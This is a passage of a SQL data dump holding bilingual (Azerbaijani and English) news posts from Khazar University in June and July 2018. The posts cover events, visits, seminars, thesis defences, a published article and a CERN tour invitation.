bəstəkarlarının əsərləri səsləndirilmişdir.</p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"https://www.yenigence.com/umummilli-lider-heydər-əliyev-və-silahli-quvvələr/\">https://www.yenigence.com/umummilli-lider-heydər-əliyev-və-silahli-quvvələr/</a>.</p>'),(5798,3325,'en','Khazar University Chamber Orchestra at the ceremony dedicated to 100th anniversary of the Armed Forces of Azerbaijan','On June 25, 2018, the Trade Union of the Ministry of Emergency Situations...','<p>On June 25, 2018, the Trade Union of the Ministry of Emergency Situations (MES) held a scientific and practical conference at Ganja Regional Center entitled “National Leader Heydar Aliyev and Armed Forces”, dedicated to the 95th anniversary of National Leader, Heydar Aliyev, and the 100<sup>th</sup> anniversary of the Armed Forces of Azerbaijan. In the artistic part of the conference, Khazar University Chamber Orchestra, guided by Zulfiyya Sadigova, a Khazar University Professor, performed compositions by Azerbaijani composers.</p>\r\n<p>For further information:</p><p><a href=\"https://www.yenigence.com/umummilli-lider-heyd%C9%99r-%C9%99liyev-v%C9%99-silahli-quvv%C9%99l%C9%99r/\">https://www.yenigence.com/umummilli-lider-heydər-əliyev-və-silahli-quvvələr/</a>.</p>'),(5799,3326,'az','Xəzər Universitetinin nümayəndələri Azərbaycan universitetləri ilə tanışlıq tədbirində','2018-ci il iyunun 23-də “Hədəf” hazırlıq kursları tərəfindən təşkil olunmuş Azərbaycan...','<p>2018-ci\r\n il iyunun 23-də “Hədəf” hazırlıq kursları tərəfindən təşkil olunmuş \r\nAzərbaycan universitetləri ilə tanışlıq tədbirində Xəzər Universiteti də\r\n iştirak etdi. Xəzər Universitetini Tələbələrin cəlb olunması üzrə işçi \r\nqrupun rəhbəri professor Fuat Rəsulov və koordinator Elvin Məmmədov \r\ntəmsil edirdilər. Təmsilçilər Xəzər Universitetinin stendini \r\nquraşdırdılar və universitetin tanıtım broşürlərini, ixtisaslar üzrə \r\nbukletləri, eləcə də, təklif olunan güzəştlər və təqaüdlər haqqında \r\nməlumatların əks olunduğu materialları valideynlərə və abituriyentlərə \r\ntəqdim etdilər, onları maraqlandıran sualları ətraflı şəkildə \r\ncavablandırdılar. </p><p>Tədbir zamanı təxminən 600-650 abituriyent \r\nmüxtəlif universitetlərin masalarına yaxınlaşaraq, öz suallarını \r\nverdilər. Xəzər Universiteti ilə təxminən 75-80 abituriyent və valideyn \r\nmaraqlandı.</p>'),(5800,3326,'en','Representatives of Khazar University are at a meeting with Azerbaijani universities ','On June 23, 2018, Khazar University representatives participated in the event for getting...','<p>On\r\n June 23, 2018, Khazar University representatives participated in the \r\nevent for getting familiar with Azerbaijani universities organized by \r\n“Hadaf” tutoring courses. Fuat Rasulov, Coordinator of the working group\r\n for prospective students and Elvin Mammadov, Coordinator, represented \r\nKhazar University at the event. At the stand of Khazar University, the \r\nrepresentatives distributed university promotional brochures, booklets \r\nof specialties offered by Khazar University and materials reflecting \r\ndiscounts and scholarships and answered questions. </p><p>During the \r\nevent, about 600-650 students approached stands of universities and \r\nasked questions. About 75-80 prospective students and their parents \r\nshowed interest in Khazar University.</p>'),(5801,3327,'az','Xəzər Universitetinin tələbələri yay kampına seçim mərhələsinin imtahanında','2018-ci il iyun 14-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə universitetin...','<p>2018-ci\r\n il iyun 14-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə \r\nuniversitetin Neft və qaz mühəndisliyi ixtisasının 3-cü kurs tələbələri \r\n“Schlumberger” şirkətinin yay kampına seçim mərhələsinin imtahanında \r\niştirak etdilər.    </p>'),(5802,3327,'en','Khazar University students at the exam stage for a summer camp','On June 14, 2018, on an initiative of Career Center of Khazar University, third-year...','<p>On\r\n June 14, 2018, on an initiative of Career Center of Khazar University, \r\nthird-year students majoring in Oil and Gas Engineering, took an exam \r\nfor the summer camp of “Schlumberger” company.</p>'),(5803,3328,'az','Xəzər Universiteti özəl ali təhsil müəssisələri arasında ilk pillədə ','Təhsil Nazirliyi 2017-2018-ci tədris ilində ali təhsil müəssisələrinə qəbul zamanı tələbələrin...','<p>Təhsil\r\n Nazirliyi 2017-2018-ci tədris ilində ali təhsil müəssisələrinə qəbul \r\nzamanı tələbələrin topladığı orta balları açıqlamışdır. Xəzər \r\nUniversiteti cari təhsil ilində universitetlərin orta bal üzrə \r\nsıralamasında özəl ali təhsil müəssisələri arasında ilk pillədə \r\ndayanmışdır. </p><p>Daha geniş məlumatı bu link vasitəsilə əldə etmək \r\nolar:</p><p><a href=\"http://gapp.az/news/372797-ozvuchenyi-srednie-ballyi-abiturientov---spisok\">http://gapp.az/news/372797-ozvuchenyi-srednie-ballyi-abiturientov---spisok</a></p>'),(5804,3328,'en','Khazar University at the top among private universities','The Ministry of Education announced the average points of students scored at the entrance...','<p>The Ministry of Education announced the average points of students \r\nscored at the entrance exam for higher education institutions for the \r\n2017-2018 academic year. In the current academic year, Khazar University\r\n is at the top among private universities in average point ranking of \r\nuniversities. </p>\r\n<p>For more detailed information:</p><p><a href=\"http://gapp.az/news/372797-ozvuchenyi-srednie-ballyi-abiturientov---spisok\">http://gapp.az/news/372797-ozvuchenyi-srednie-ballyi-abiturientov---spisok</a></p>'),(5805,3329,'az','Professor Hamlet İsaxanlı Salamnews.org xəbər saytına müsahibə verdi','2018-ci il iyunun 22-də Salamnews.org xəbər saytı Xəzər Universitetinin...','<p>2018-ci\r\n il iyunun 22-də <em><strong>Salamnews.org</strong></em> xəbər saytı Xəzər Universitetinin \r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet \r\nİsaxanlı ilə müsahibənin mətnini yayınlamışdır.  </p><p>Müsahibəni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://salamnews.org/ru/news/read/315587.#Kalibri\">http://salamnews.org/ru/news/read/315587.#Kalibri</a></p>'),(5806,3329,'en','Professor Hamlet Isakhanli gave an interview to salamnews.org news website ','On June 22, 2018, salamnews.org news website released an interview with Professor...','<p>On June 22, 2018, <em>salamnews.org</em> news website released an interview with Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>The interview is available at:</p><p><a href=\"http://salamnews.org/ru/news/read/315587.#Kalibri\">http://salamnews.org/ru/news/read/315587.#Kalibri</a></p>'),(5807,3330,'az','Dissertasiya işinin ilkin müzakirəsi keçirildi','2018-ci il iyunun 27-də Xəzər Universitetinin Xəzər Universiteti Magistratura...','<p>2018-ci\r\n il iyunun 27-də Xəzər Universitetinin Xəzər Universiteti Magistratura, \r\ndoktorantura və elmi işlər bölməsi Siyasi elm və beynəlxalq münasibətlər\r\n departamenti ilə birlikdə dissertant Abbes Benmoussatın “<em>Qərb \r\ndominantlığının normativ və qanuni əsaslarının təhlili (Müqayisəli, \r\ntarixi-siyasi yanaşmalar)</em>” adlı dissertasiya işinin ilkin müzakirəsini \r\nkeçirdi. Müzakirədə AMEA Fəlsəfə İnstitutunun əməkdaşları –professor \r\nƏlikram Tağıyev, professor Ramiz Sevdimalıyev, Bakı Dövlət \r\nUniversitetinin dosenti Adil Mirabdullayev, Xəzər Universiteti \r\nMagistratura, doktorantura və elmi işlər bölməsinin müdiri f.ü.f.d. \r\nEldar Şahgəldiyev, Xəzər Universiteti Siyasi elm və beynəlxalq \r\nmünasibətlər departamentinin koordinatoru Elmar Mustafayev, Xəzər \r\nUniversiteti Siyasi elm və beynəlxalq münasibətlər departamentinin \r\nmüəllimi Baba Bayramlı və universitetin bəzi doktorantları iştirak \r\nedirdilər.</p>'),(5808,3330,'en','Preliminary discussion of the dissertation ','On June 27, 2018, Khazar University Division for Graduate Studies and Research...','<p>On June 27,\r\n 2018, Khazar University Division for Graduate Studies and Research, \r\ntogether with the Department of Political Science and International \r\nRelations, held a preliminary discussion of the dissertation entitled \r\n“<em>The Analysis of Normative and Legal Bases of Western Dominance \r\n(Comparative, historical and Political Approaches)</em>” by a PhD student \r\nAbbes Benmoussat.  </p><p>Prof. Adil Mirabdullayev and Prof. Ramiz \r\nSevdimaliyev, associates of the Institute of Philosophy of ANAS, Adil \r\nMirabdullayev, Assoc.Prof. at Baku State University, Eldar Shahgaldiyev,\r\n Head of Division for Graduate Studies and Research of Khazar \r\nUniversity, Elmar Mustafayev, Coordinator of the Department of Political\r\n Science and International Relations, Baba Bayramli, Instructor of the \r\nDepartment of Political Science and International Relations, and some \r\nPhD students participated in the discussion.</p>'),(5809,3331,'az','İqtisadiyyat və menecment fakültəsinin əməkdaşlarının məqaləsi Scopus indeksli jurnalda','Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin dekan müavini...','<p>Xəzər\r\n Universiteti İqtisadiyyat və menecment fakültəsinin dekan müavini Dr. \r\nŞəhriyar Muxtarov və İqtisadiyyat və Menecment departamentinin \r\nkoordinatoru Dr. Elvin Məmmədovun “<em>Factors that increase credit risk of \r\nAzerbaijani banks</em>” adlı məqaləsi “Journal of International Studies” \r\njurnalının 2018-ci il 2-ci sayı, 11-ci buraxılışında çap edilmişdir. \r\nSözü gedən jurnal SCOPUS (Citescore 1.10), kimi nüfuzlu məlumat \r\nbazalarında indekslənir. </p><p>Məqalədə Azərbaycanda bankların kredit \r\nriskinə təsir edən faktorlar analiz edilmişdir. Bu çərçivədə aktiv \r\nçəkisinə görə ən böyük 10 bank analizə daxil edilmişdir. Analiz \r\nnəticələrinə görə, kapital adekvatlığı əmsalı, faiz dərəcəsi və cəmi \r\naktivlərdə azalma kredit riskini artırır. Bununla yanaşı, tədqiqatçılar \r\nişsizlik və kredit riski arasında mənfi əlaqə olduğunu ortaya qoymuşlar.\r\n  </p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.jois.eu/?422,en_factors-that-increase-credit-risks-of-azerbaijani-banks\">http://www.jois.eu/?422,en_factors-that-increase-credit-risks-of-azerbaijani-banks</a>.</p>'),(5810,3331,'en','An article of School of Economics and Management Staff Members in Scopus Indexed Journal','The research paper “Factors that increase credit risk of Azerbaijani banks” by Dr. Shahriyar...','<p>The\r\n research paper “<em>Factors that increase credit risk of Azerbaijani banks</em>”\r\n by Dr. Shahriyar Mukhtarov, vice dean of the School of Economics and \r\nManagement and Dr. Elvin Mammadov, coordinator of the Department of \r\nEconomics and Management at Khazar University, was published in Journal \r\nof International Studies, No 2, Vol 11, 2018. The journal is indexed by \r\nSCOPUS (Citescore 1.10), the prestigious abstract and citation database \r\nof peer-reviewed literature. </p><p>The study investigates the \r\ninfluencing factors behind credit risks in Azerbaijani banks, using \r\nannual data covering the period from 2010 to 2015.  Within this scope, \r\nauthors analyzed 10 biggest banks of Azerbaijan with respect to their \r\nasset size. Furthermore, 10 explanatory variables were used to achieve \r\nthis objective. According to the results of analysis, it was defined \r\nthat 4 independent variables affect credit risk of Azerbaijani banks. It\r\n was also determined that decrease in the capital adequacy ratio, \r\ninterest rate and total assets lead to increasing credit risk. Authors \r\nhave also identified that there is a positive relationship between \r\nunemployment rate and the credit risk of Azerbaijani banks. Therefore, \r\nit can be stated that Azerbaijani banks should increase their capital \r\nadequacy ratio and total assets amount in order to minimize the negative\r\n effects from the credit risk problem. </p>\r\n<p>The paper is available at:<a href=\"http://www.jois.eu/?422,en_factors-that-increase-credit-risks-of-azerbaijani-banks\"><br></a></p><p><a href=\"http://www.jois.eu/?422,en_factors-that-increase-credit-risks-of-azerbaijani-banks\">http://www.jois.eu/?422,en_factors-that-increase-credit-risks-of-azerbaijani-banks</a>.</p>'),(5811,3332,'az','Humanitar və sosial elmlər fakültəsinin magistr tələbələrinin müdafiəsi keçirildi','2018-ci il iyunun 29-da Humanitar və sosial elmlər fakültəsinin magistr tələbələrinin...','<p>2018-ci\r\n il iyunun 29-da Humanitar və sosial elmlər fakültəsinin magistr \r\ntələbələrinin tezislərinin müdafiəsi keçirildi. Xəzər Universitetinin \r\nMagistratura, doktorantura və elmi işlər bölməsinin müdiri f.ü.f.d. Eldar\r\n Şahgəldiyev (sədr) müdafiəni açıq elan etdi. Müdafiə şurasının üzvləri \r\nİngilis dili və ədəbiyyatı departamentinin müdir müavini Eynur Mehdiyev,\r\n proqram koordinatoru Milana Abbasova, departamentin müəllimləri İrina \r\nOrucova, İradə Səmədova, İlham Tağıyev, Nailə Qasımova, şuranın katibi \r\nisə Nuranə Fərhadova idilər.  </p><p>İngilis dili və ədəbiyyatı \r\ndepartamentinin magistr tələbələri – Könül İsmayılzadə, Elmira Musayeva,\r\n Gülnar Hüseynova, Təranə Hüseynova, Aynurə Rzayeva tezislərini uğurla \r\nmüdafiə etdilər.</p>'),(5812,3332,'en','Thesis defence of graduate students of the School of Humanities and Social Sciences held ','On June 29, 2018, thesis defence of graduate students of the School of Humanities and Social...','<p>On\r\n June 29, 2018, thesis defence of graduate students of the School of \r\nHumanities and Social Sciences, was held. Dr. Eldar Shahgaldiyev, Head \r\nof the Division for Graduate Students and Research, declared the defence\r\n process open. The members of defence council included Eynur Mehdiyev, \r\nVice-chair of English Language and Literature Department, Milana \r\nAbbasova, Program Coordinator; supervisors of MA students -  Ph.D Irina \r\nOrujova, Ph.D Irada Samadova; instructors of the Department - Naila \r\nGasimova, Ilham Taghiyev. Nurana Farhadova was the secretary of the \r\ncouncil.  </p><p>Graduate students of the Department of English Language\r\n and Literature – Konul Ismayilzade, Elmira Musayeva, Gulnar Huseynova, \r\nTarana Huseynova, Aynura Rzayeva defended their theses successfully.</p>'),(5813,3333,'en','CERN Tours','Khazar University invites you to take part in the CERN tour...','<p>Khazar University invites you to take part in the CERN tour on 4<sup>th</sup> August 2018.  </p>\r\n<iframe width=\"700\" height=\"480\" src=\"https://www.youtube.com/embed/MqMT2c35Wrg\" frameborder=\"0\" allow=\"autoplay; encrypted-media\"></iframe><p>At\r\n CERN, the European Organization for Nuclear Research, physicists and \r\nengineers are probing the fundamental structure of the universe. They \r\nuse the world\'s largest and most complex scientific instruments to study\r\n the basic constituents of matter – the fundamental particles. The \r\nparticles are made to collide together at close to the speed of light. \r\nThe process gives the physicists clues about how the particles interact,\r\n and provides insights into the fundamental laws of nature </p><p>The \r\ninstruments used at CERN are purpose-built particle accelerators and \r\ndetectors. Accelerators boost beams of particles to high energies before\r\n the beams are made to collide with each other or with stationary \r\ntargets. Detectors observe and record the results of these collisions. </p><p>Participating in this tour You will learn:  </p><ul><li>What\r\n is the Higgs Boson and what does it tell us about the origins of the \r\nUniverse?&nbsp;</li><li>What are the great questions of contemporary physics?&nbsp;</li><li>What is \r\nthe role of CERN, its focus and objectives?&nbsp;</li><li>What are the experiments \r\nconducted on its premises? </li></ul><p>Everyone is welcome. For further information please contact by e-mail <a href=\"mailto:falimardanova@khazar.org\">falimardanova@khazar.org</a>.<br></p><p><strong>Deadline for registration</strong>: July  12,&nbsp;2018.</p>'),(5814,3333,'az','Xəzər Universiteti CERN-ə tur təşkil edəcək','2018-ci il avqustun 4-də Xəzər Universiteti sizi CERN-ə (Avropa Nüvə Tədqiqatları Mərkəzi)...','<p>2018-ci il avqustun 4-də Xəzər Universiteti sizi CERN-ə (Avropa Nüvə Tədqiqatları Mərkəzi) təşkil olunacaq turda iştirak etməyə dəvət edir.</p>\r\n<p><iframe width=\"700\" height=\"480\" src=\"https://www.youtube.com/embed/MqMT2c35Wrg\" frameborder=\"0\" allow=\"autoplay; encrypted-media\"></iframe></p>\r\n<p>Dünyanın Nuvə Mərkəzi olan CERN-də fiziklər və mühəndislər kainatın təməl quruluşunu araşdırırlar. Onlar tədqiqatlarında fundamental hissəciklərin əsas tərkib hissələrini öyrənmək üçün dünyanın ən böyük və ən mürəkkəb elmi vasitələrindən istifadə edirlər. Partikllar işıq sürətinə yaxın bir sürətdə toqquşması üçün hazırlanır. Bu proses fiziklərə, hissəciklərin qarşılıqlı əlaqələri haqqında məlumat verir və təbiətin fundamental qanunlarına nəzər salır.</p><p>CERN-də istifadə edilən qurğular, məqsədyönümlü partikl sürətləndiriciləri və detektorlarıdır. Sürətləndiricilər partiklları bir-biri ilə və ya sabit hədəflərlə toqquşmadan əvvəl yüksək enerjiyə qədər sürətləndirir. Detektorlar isə bu toqquşmaların nəticələrini müşahidə və qeyd edirlər.</p><p>Bu turda iştirak zamanı nələr öyrəniləcək:</p><ul><li>Hiqs Bazon nədir və kainatın mənşəyi haqqında bizə nə deyir?</li><li>Müasir fizikanın böyük sualları hansılardır?</li><li>CERN-in rolu, onun istiqaməti və hədəfi nədir?</li><li>CERN-də hansı təcrübələr aparılmışdır?&nbsp;</li></ul><p>Bu tura hər kəs dəvətlidir. Əlavə məlumat üçün <a href=\"mailto:falimardanova@khazar.org\">falimardanova@khazar.org</a>   e-mail ünvanına müraciət etmək olar.  </p><p><strong>Qeydiyyat üçün son tarix</strong>: 12 iyul 2018-ci il.</p>'),(5815,3334,'az','Avrasiya Hasilat Sənayesi Bilik Mərkəzinin təlimi yekunlaşdı','2018-ci il iyulun 2-də Avrasiya Bilik Mərkəzinin Xəzər Universitetində “Təbii sərvətlərlə zəngin...','<p>2018-ci il iyulun 2-də Avrasiya Hasilat Sənayesi Bilik Mərkəzinin&nbsp;  Xəzər Universitetində “Təbii sərvətlərlə zəngin ölkələrdə gəlirlərin idarə olunması” mövzusunda keçirdiyi təlimə yekun vuruldu. 8 gün davam edən təlimdə iştirakçılar yerli və beynəlxalq ekspertlərin mövzuya dair təqdimatlarını dinlədilər, eləcə də, Dövlət Neft Fonduna səfər etdilər.</p><p>Təlimin bağlanış mərasimində&nbsp;İsveçrə Əməkdaşlıq Təşkilatının Regional Direktor Müavini və&nbsp;İsveçrə Səfirliyi missiya rəhbərinin müavini xanım Simone Haeberli, Xəzər Universitetinin rektoru Dr. Hassan Niknafs, Avrasiya Hasilat Sənayesi Bilik Mərkəzinin direktoru İnqilab Əhmədov və NRGİ Avrasiya direktoru Qalib Əfəndiyev çıxış etdilər. Çıxışçılar təlim müddətində əldə olunan bilik və təcrübənin ölkələrinin inkişafı naminə istifadə olunacağına inandıqlarını vurğuladılar.</p><p>Qeyd edək ki, təlimdə Avrasiya regionunun 6 ölkəsindən –Qazaxıstan, Qırğızıstan, Tacikistan, Monqolustan, Ukrayna və Azərbaycandan 23 nəfər iştirak edirdi. İştirakçılar arasında hökumətin, vətəndaş cəmiyyətinin, media və özəl sektorun nümayəndələri var idi.</p><p>Sonda iştirakçılara sertifikatlar təqdim edildi.</p>'),(5816,3334,'en','The training held by Eurasia Extractive Industries Knowledge Hub ends','On July 2, 2018, the training “Revenue management in resource-rich countries”, held by the...','<p>On July 2, 2018, the training “Revenue management in resource-rich countries”, held by the Eurasia Extractive Industries Knowledge Hub at Khazar University, successfully ended. During the eight-day training, local and international experts delivered presentations on the topic for the trainees. Moreover, the trainees visited the State Oil Fund.</p><p>At the closing ceremony of the training, Ms Simone Haeberli, Deputy Regional Director of Swiss Cooperation Office in the South Caucasus &amp; Deputy Head of Mission, Embassy of Switzerland, Dr. Hassan Niknafs, Rector of Khazar University, Ingilab Ahmadov, Director of Eurasia Extractive Industries Knowledge Hub, and Galib Afandiyev, Director of NRGI Eurasia, delivered speeches at the ceremony emphasizing their belief that the trainees would contribute to the development of their countries using the knowledge and experience gained at the training.</p><p>It should be noted that representatives of civil societies, media and private sector from 6 countries of Eurasia, Kazakhstan, Kyrgyzstan, Tajikistan, Mongolia, Ukraine and Azerbaijan, participated in the training.</p><p>At the end, the trainees were certified.</p>'),(5817,3335,'az','Tartu Universitetinin nümayəndəsi Xəzər Universitetində rəsmi səfərdə oldu','2018-ci il iyunun 25-dən 29-dək “Tartu Universitetinin Johan Skytte Siyasi Elmlər İnstitutunun...','<p>2018-ci il iyunun 25-dən 29-dək “Tartu Universitetinin Johan Skytte Siyasi Elmlər İnstitutunun (Johan Skytte Institute for Political Studies) müdir müavini Olqa Boqdanova Xəzər Universitetində rəsmi səfərdə oldu. O, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Xəzər Universitetinin rektoru Dr. Hassan Niknafs, Elmi işlər üzrə prorektor İradə Xəlilova, Beynəlxalq Əlaqələr Ofisinin direktoru Turan Cəfərova, Avropa Elmləri Mərkəzinin direktoru Baba Bayramov, Siyasi Elm və Beynəlxalq Münasibətlər departamentinin koordinatoru Elmar Mustafayev və layihə rəhbəri Rima Məmmədova ilə görüşdü. Görüş zamanı qarşılıqlı əməkdaşlıq müzakirə olundu.</p>'),(5818,3335,'en','A representative of the University of Tartu pays an official visit to Khazar University','On June 25-29, 2018, Olga Bogdanova, Vice-director of Johan Skytte Institute for Political Studies...','<p>On June 25-29, 2018, Olga Bogdanova, Vice-director of Johan Skytte Institute for Political Studies at University of Tartu, paid an official visit to Khazar University. She met with Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, Dr. Hassan Niknafs, Rector of Khazar University, Irada Khalilova, Vice-rector for Research of Khazar University, Turan Jafarova, Director of International Affairs Office, Baba Bayramov, Director of the Center for European Sciences, Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations, and Rima Mammadova, Project Manager. Mutual cooperation was discussed during the meeting.</p>'),(5819,3336,'az','Xəzər Universitetində “Kurrikulumun tərtib edilməsi” adlı seminar və “Qarışıq öyrənmə” adlı vörkşop keçirildi','2018-ci il iyunun 27-si və 28-də Xəzər Universitetində “Kurrikulumun tərtib edilməsi”...','<p>2018-ci il iyunun 27-si və 28-də Xəzər Universitetində “Kurrikulumun tərtib edilməsi” (Curriculum design) adlı seminar və “Qarışıq öyrənmə” (Blended learning) adlı vörkşop keçirildi. Seminar və vörkşop Tartu Universitetinin Johan Skytte Siyasi Elmlər İnstitutunun (Johan Skytte Institute for Political Studies) müdir müavini Olqa Boqdanova tərəfindən həyata keçirildi.</p><p>Seminarda Xəzər Universitetinin akademik və inzibati işçiləri iştirak etdilər.</p>'),(5820,3336,'en','A seminar “Curriculum design” and a workshop “Blended learning” take place at Khazar University','On June 27-28, 2018, a seminar entitled “Curriculum design” and a workshop entitled “Blended learning”...','<p>On June 27-28, 2018, a seminar entitled “Curriculum design” and a workshop entitled “Blended learning” took place at Khazar University. Both the seminar and workshop were conducted by Olga Bogdanova, Vice-director of Johan Skytte Institute of Political Studies at University of Tartu.&nbsp;</p><p>The seminar was attended by teaching and administrative staff of Khazar University.</p>'),(5821,3337,'az','Türkiyəli mütəxəssis “Çevrilmiş öyrənmə” adlı seminar verdi','2018-ci il iyulun 2-də Xəzər Universiteti Təlim Mərkəzində Çankaya Universitetinin müəllimi...','<p>2018-ci il iyulun 2-də Xəzər Universiteti Təlim Mərkəzində Çankaya Universitetinin müəllimi Prof. Dr. Buket Akkoyunlu Xəzər Universitetinin müəllim heyətinə onlayn təhsil və tələbə mərkəzli fəal öyrənmə sahəsində “Çevrilmiş öyrənmə” (“Flipped Learning”) adlı seminar keçirdi. İştirakçıların böyük maraqla dinlədikləri seminarda Xəzər Universitetinin rektoru Dr. Hassan Niknafs Prof. Dr. Buket Akkoyunluya Xəzər Universitetində təşkil etdiyi təlimlərə və seminara görə təşəkkür plaketi təqdim etdi və növbəti semestrdə bu mövzunun daha geniş auditoriyada keçirilməsini təklif etdi.</p>'),(5822,3337,'en','Turkish expert gives a seminar on “Flipped Learning”','On July 2, 2018, Prof. Dr. Buket Akkoyunlu, Instructor of Çankaya University...','<p>On July&nbsp;2, 2018, Prof. Dr. Buket Akkoyunlu, Instructor of Çankaya University, gave a seminar on “Flipped Learning”, which envisages online education and student-centered active learning, to the teaching staff of Khazar University at the Training Center of the University. Dr. Hassan Niknafs presented Prof. Dr. Buket Akkoyunlu with a plaque of gratitude for the interesting seminar, and recommended that another seminar on the same topic should be given to a bigger audience next semester.</p>'),(5823,3338,'az','Qazi Universitetinin nümayəndəsi Xəzər Universitetində oldu','2018-ci il iyunun 25-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının...','<p>2018-ci il iyunun 25-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının ofisində Qazi Universitinin Sosial Elmlər İnstitutunun direktoru Prof. Dr. Səlmə Yellə görüş keçirildi. Görüşdə Təhsil fakültəsinin dekanı dosent Elza Səmədova da iştirak edirdi. Görüş zamanı Qazi Universiteti ilə Xəzər Universiteti arasında gələcək əməkdaşlıqlar, müəyyən ixtisaslar və sertifikat proqramları üzrə ikili diplom (double degree) məsələləri müzakirə olundu və iki universitet arasında əlaqələrin daha da fəallaşdırılması üçün Mevlana proqramı çərçivəsində müxtəlif seminarların keçirilməsi və 2019-cu ilin mayında I Beynəlxalq Avrasya Təhsil Elmləri Simpoziumu birlikdə təşkil olunması barədə razılığa gəlindi.</p>'),(5824,3338,'en','Gazi University representative visits Khazar University','On June 25, 2018, Prof. Hamlet Isakhanli, the founder of Khazar University...','<p>On June 25, 2018, Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, had a meeting with Prof. Dr. Selma Yel, Director of the Institute of Social Sciences, Gazi University. Assoc.Prof. Elza Samadova, Dean of the School of Education, was also present at the meeting. Future cooperation between the two universities as well as double degree diplomas on certain specialities and certificate programs were discussed at the meeting. Moreover, in order to further improve relations between the universities, the sides agreed on holding seminars within Mevlana program and joint organization of I International Eurasia Educational Sciences Symposium in May 2019.</p>'),(5825,3339,'az','Tələbələrin əl işlərinə baxış keçirildi','İyunun 28-də Xəzər Universitetinin Mərmər salonunda Humanitar və sosial elmlər...','<p>İyunun 28-də Xəzər Universitetinin Mərmər salonunda Humanitar və sosial elmlər fakültəsinin dizayn ixtisası üzrə təhsil alan tələbələrinin əl işlərinə baxış keçirildi. Tədris ilinin yekunlarına aid sərgidə tələbələrin öz müəllimləri – dizayner-rəssamlar Anar Əsədov və Kamran Əsədovun rəhbərliyi ilə hazırladıqları müxtəlif nümunələr (maketlər, qrafik təqvim, jurnal və kataloqlar, videolar) nümayiş olundu. Tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı başda olmaqla universitet rəhbərliyi, dekanlar və departament müdirləri, əməkdaşlar iştirak edirdilər.</p><p>Universitetin Musiqi və incəsənət departamentinin müdiri Zülfiyyə Sadıqova tədbiri açaraq, sözü Dizayn departamentinin müdiri Afaq Kərimovaya verdi. A.Kərimova tələbələrin sərgi-baxışa ciddi hazırlaşdıqlarından, əl işlətinin əsas etibarilə uğurlu alındığından danışdı.</p><p>Tələbələr öz stendləri yanında universitet rəhbərliyinə və əməkdaşlara öz işləri haqqında məlumat verir, suallarını cavablandırırdılar. Professor Hamlet İsaxanlı tələbələrin əl işlərinə baxaraq, onlara tövsiyələrini verdi.</p><p>Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, müəllim Anar Əsədov və digərləri çıxış edərək, tələbələrin əl işlərini yüksək qiymətləndirdilər və onlara uğurlar arzuladılar.</p>'),(5826,3339,'en','Students’ handicrafts demonstrated','On June 28, handicrafts made by the students of the School of Humanities and Social...','<p>On June 28, handicrafts made by the students of the School of Humanities and Social Sciences were demonstrated in “Marble” hall of Khazar University. At the exhibition dedicated to the completion of the academic year, handicrafts (models, graphic calendars, journals, catalogues, videos) created by students under the guidance of their instructors –   Anar Asadov and Kamran Asadov, designer-artists, were demonstrated. The exhibition was attended by the University administration headed by Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, deans, heads of departments and teaching staff.</p><p>Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, opened the ceremony and gave the floor to Afag Karimova, Head of the Department of Design, who remarked that students had made a huge effort for the exhibition and produced quality handicrafts.</p><p>Standing by their stand, students informed the University administration and staff about their handicrafts and answered questions. Watching the handicrafts, Prof. Hamlet Isakhanli made recommendations to the students.</p><p>In their speeches, Jabir Khalilov, Dean of the School of Humanities and Social Sciences, Anar Asadov, Instructor, highly appreciated students’ works and wished them success.</p>'),(5827,3340,'az','“Təlim nəticələrinə əsaslanan inteqrativ dərs materiallarının hazırlanması” adlı təlim keçirildi','2018-ci il iyunun 29-u və 30-da Xəzər Universitetinin “Neftçilər” kampusunda “Mərmər” zalda...','<p>2018-ci il iyunun 29-u və 30-da Xəzər Universitetinin “Neftçilər” kampusunda “Mərmər” zalda Azərbaycanda müəllim hazırlığı aparan pedaqoji fakültələrdə və ümumtəhsil məktəblərində təlim-tədris prosesinin inkişaf etdirilməsinə, dünya təhsil sisteminə inteqrasiyasına töhfə vermək məqsədilə “<em>Təlim nəticələrinə əsaslanan inteqrativ dərs materiallarının hazırlanması</em>” (seminar və vörkşop) adlı təlim keçirildi. Təlimçilər Türkiyə Cümhuriyyətinin Çankaya Universitetinin dekanı Prof.Dr. Buket Akkoyunlu və Xəzər Universitetinin Təhsil Fakültəsinin dekanı dosent Elza Səmədova idilər.</p><p>Əsas məqsədi pedaqoji fakültələrdə və ümumtəhsil məktəblərində fəaliyyət göstərən müəllimlərin müasir dərs materialı hazırlama peşəkarlığının artırılması olan təlimdə Təhsil İnstitutundan və respublikanın müxtəlif ali təhsil müəssisələrindən və ümumtəhsil məktəblərindən 30-a yaxın müəllim iştirak edirdi.</p><p>Təlimdə standart əsaslı kurikulumların tətbiqində mühim yeri tutan layihə əsaslı öyrənmə/öyrətmə metodologiyası üzərində dayanılaraq, nümunələr göstərildi və iştirakçılar tərəfindən məzmun standartlarına əsaslanan inteqrativ layihə nümunələri hazırlandı.</p><p>Təlimin sonunda iştirakçılara sertifikatlar təqdim olundu.</p>'),(5828,3340,'en','Training on “Developing learning materials based on learning outcomes” is held','On June 29-30, 2018, a training (seminar and workshop) entitled “Developing learning materials...','<p>On June 29-30, 2018, a training (seminar and workshop) entitled “Developing learning materials based on learning outcomes” was held at “Marble” hall of Khazar University, 